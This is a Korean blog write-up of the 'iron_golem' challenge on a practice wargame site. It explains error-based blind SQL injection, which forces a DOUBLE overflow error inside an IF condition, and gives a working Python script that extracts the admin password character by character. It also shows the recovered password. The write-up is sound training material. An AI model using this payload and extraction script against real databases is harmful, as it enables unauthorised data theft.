Sechack

LOS - iron_golem 풀이 본문

Wargame

LOS - iron_golem 풀이

Sechack 2021. 5. 22. 15:53
반응형

처음으로 이름만 들어보던 Error based blind sql injection기법을 적용하여본 문제이다. 근데 생각보다 별거 없었다. 기존에 blind sql injection에서 달라진것은 if문을 이용해서 일부러 에러를 유발하는것이다.

 

 

 

문제 소스코드이다. 로그인에 성공했을때 전에 있던 문제처럼 Hello guest같이 반환해주는게 없으니까 우리는 참, 거짓 여부를 알 수 없다. sleep, benchmark함수를 필터링하니까 Time based blind sql injection은 사용할 수 없어보인다. 이것저것 넣어보던 도중 쿼리 에러가 나면 에러 내용이 반환이 된다.

 

 

 

우리는 이걸 이용해서 Error based blind sql injection을 사용할 수 있다. 일단 if문을 사용해서 쿼리의 실행결과가 참일경우는 에러를 내지 않고 거짓일경우에는 에러를 내게끔 했다. 에러를 내는 방법은 다양하다. select 1 union select 2와 같이 단독으로 쓰일경우에는 괜찮지만 if문 내에서 서브쿼리로 쓰일경우는 에러가 난다. 이것 외에도 드림핵에서 봤던 9e307*2와 같이 double타입의 최대값을 넘겨서 에러를 발생시키는 방법이나 int타입의 최대값을 넘기는등 에러를 발생시키는 방법은 다양하다. 나는 double타입의 최대값을 넘기는 방법으로 에러를 띄웠다.

 

 

blind injection은 참과 거짓만으로 전체 데이터를 알아와야 하는 공격이다. 따라서 하나의 쿼리로는 공격에 성공할 수 없고 매우 많은 쿼리들을 보내보면서 참과 거짓의 결과를 조합해서 최종적으로 원하는 데이터를 알아낼수가 있다. 이것을 손으로 직접 하면 반복적인 작업이 매우 많고 시간도 매우 오래걸려서 비효율적이고 반복적인 일을 하는 인간도 지치므로 python의 requests모듈을 이용해서 자동화 스크립트를 짜줬다.

 

 

import requests

URL = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw='

query = "Sechack%27%20or%20if(substr(pw, {}, 1)='{}',%209e307*2,%200)%20--%20"

session = requests.session()
cookie = {'PHPSESSID':'6t9er84khks78q7t5sk7mhfvce'}

length = 32
adminpw = ""

for i in range(1, length + 1):
    for j in range(33, 125):
        sendquery = query.format(i, chr(j))
        sendurl = URL + sendquery

        res = session.get(url=sendurl, cookies=cookie)
        print(sendurl)
        
        if "DOUBLE" in res.text:
            adminpw += chr(j)
            break

print(adminpw)

 

 

이게 그냥 문제에 접근하면 로그인하라는 메시지가 뜨기때문에 나의 PHPSESSID를 cookie에 넣어서 보냈다.

소스코드를 보면 if문 이용해서 에러 발생시키는거 이용해서 참, 거짓 유무 판단하는거 빼곤 기존의 blind sql injection이랑 딱히 크게 다른점은 없다. admin password의 길이를 먼저 구하고 공격을 진행해야 하는데 길이구하는것도 비슷하게 하면 된다. 아무튼 이걸 실행시키면

 

 

 

이런식으로 패스워드가 추출이 되었다. 하지만 이걸 그대로 넣으면 클리어가 되지 않는다. 전에 webhacking.kr풀면서 겪었던 건데 mysql은 대소문자 구분이 없다. 따라서 아스키 코드가 더 작은 대문자로 추출이 된것이다. 전부 소문자로 바꿔주면 06b5a6c16e8830475f983cc3a825ee9a가 되고 이걸 그대로 패스워드에 넣어주면 풀린다.

반응형

'Wargame' 카테고리의 다른 글

HackCTF - AdultFSB 풀이  (0) 2021.05.31
김민욱님이 주신 웹해킹 문제 풀이  (0) 2021.05.28
HackCTF - 훈폰정음 풀이  (0) 2021.05.12
HackCTF - 달라란 침공 풀이  (0) 2021.05.12
HackCTF - wishlist풀이  (0) 2021.05.11
Comments